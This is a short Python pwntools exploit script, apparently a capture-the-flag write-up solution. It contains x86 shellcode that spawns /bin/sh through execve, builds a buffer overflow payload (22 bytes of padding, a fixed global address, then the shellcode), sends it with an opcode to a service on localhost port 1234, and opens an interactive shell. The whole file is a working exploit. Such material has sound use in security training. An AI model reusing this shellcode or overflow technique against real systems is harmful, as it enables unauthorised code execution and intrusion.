<filename>pwn/ShellCode/OpCode/writeup/exploit.py<gh_stars>0
from pwn import *

sc = (
        "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x1c\x58"
        "\x83\xE8\x11"
        "\x99\xcd\x80"
        )

conn = remote('localhost', 1234)

opcode = '58623'
global_addr = 0x8049824

payload = 'a'*22
payload += p32(global_addr)
payload += sc

conn.sendline(opcode)
conn.sendline(payload)
conn.interactive()
